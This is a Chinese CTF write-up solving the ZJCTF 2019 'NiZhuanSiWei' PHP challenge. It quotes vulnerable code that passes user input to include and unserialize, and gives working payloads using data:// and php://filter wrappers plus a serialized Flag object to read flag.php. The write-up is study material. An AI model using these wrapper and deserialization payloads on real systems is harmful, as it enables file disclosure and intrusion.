• [ZJCTF 2019]NiZhuanSiWei


    <?php
        $text = $_GET["text"];
        $file = $_GET["file"];
        $password = $_GET["password"];
        if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
            echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
            if(preg_match("/flag/",$file)){
                echo "Not now!";
                exit();
            }else{
                include($file);  //useless.php
                $password = unserialize($password);
                echo $password;
            }
        }
        else{
            highlight_file(__FILE__);
        }

    通过get请求方式传递三个参数 text file password
    第一个if判断:要求text参数不为空 并且根据$text读去出来的字符串需要为welcome to the zjctf
    第二个if判断:要求$file中不能包含关键字flag,这里是过滤掉flag,但是通过注释给出的提示,应该是要求包含useless.php
      满足不包含flag之后,包含$file文件,并且反序列化$password,最后输出$password(输出一个类,会调用toString()方法)

      第一先要满足$text读出来是welcome to the zjctf,考虑使用伪协议data://
      对字符串进行base64编码 d2VsY29tZSB0byB0aGUgempjdGY=
      使用data伪协议封装数据 data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
      payload text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
      第二是要满足$file中不含有flag,并且根据提示尝试包含文件useless.php
      这里还是要用的php伪协议,读取useless.php的源码
      使用filter伪协议读取源码 php://filter/read=convert.base64-encode/resource=useless.php
      payload file=php://filter/read=convert.base64-encode/resource=useless.php
      分析到useless.php的源码
      第三是反序列化后,输出$password,调用Flag类的toString()方法
      传入$file=flag.php,这样在toString()方法中输出的文件就是flag.php
      payload password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

      最终payload
      ?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
     

    <?php
    class Flag
    {  //flag.php
        public $file;
    
        public function __tostring()
        {
            if (isset($this->file)) {
                echo file_get_contents($this->file);
                echo "<br>";
                return ("U R SO CLOSE !///COME ON PLZ");
            }
        }
    }
    
    $a = new Flag();
    $a ->file = 'flag.php';
    echo serialize($a);
    定义了一个Flag类
    首先是声明了一个$file
    然后是这个类的toString魔术方法,先判断$file是否为空,
    如果不为空就读取文件$file,输出并返回

    这里很明显的调用反序列化后,调用Flag类的toString方法,输出文件$file(也就是flag.php)
    进行序列化操作后生成的字符串 O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
    payload password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

    总结,这个题呢主要就是考察了php伪协议的使用、php反序列化。
    关键就在于能否将php伪协议熟练的运用,通过data伪协议封装数据,再结合file_get_contents()将数据读取出来,
    php伪协议的功能很多既可以封装数据、输入数据也可以读取源码、读取文件,要将协议和函数结合起来灵活使用。

     

  • 相关阅读:
    一条语句简单解决“每个Y的最新X”的SQL经典问题
    SqlServer数据库字典--表.视图.函数.存储过程.触发器.主键.外键.约束.规则.sql
    SqlServer数据库字典--索引.sql
    SqlServer2005或2008数据库字典--表结构.sql
    SqlServer2000数据库字典--表结构.sql
    sqlserver附加 mdf、ldf的方法(手记)
    收缩数据库 DBCC SHRINKFILE
    日志、字段备注查询、自增ID联系设置、常用存储过程
    常用sql 全记录(添加中)
    python类的继承和多态,获取对象信息
  • 原文地址:https://www.cnblogs.com/ersuani/p/14035400.html
Copyright © 2020-2023  润新知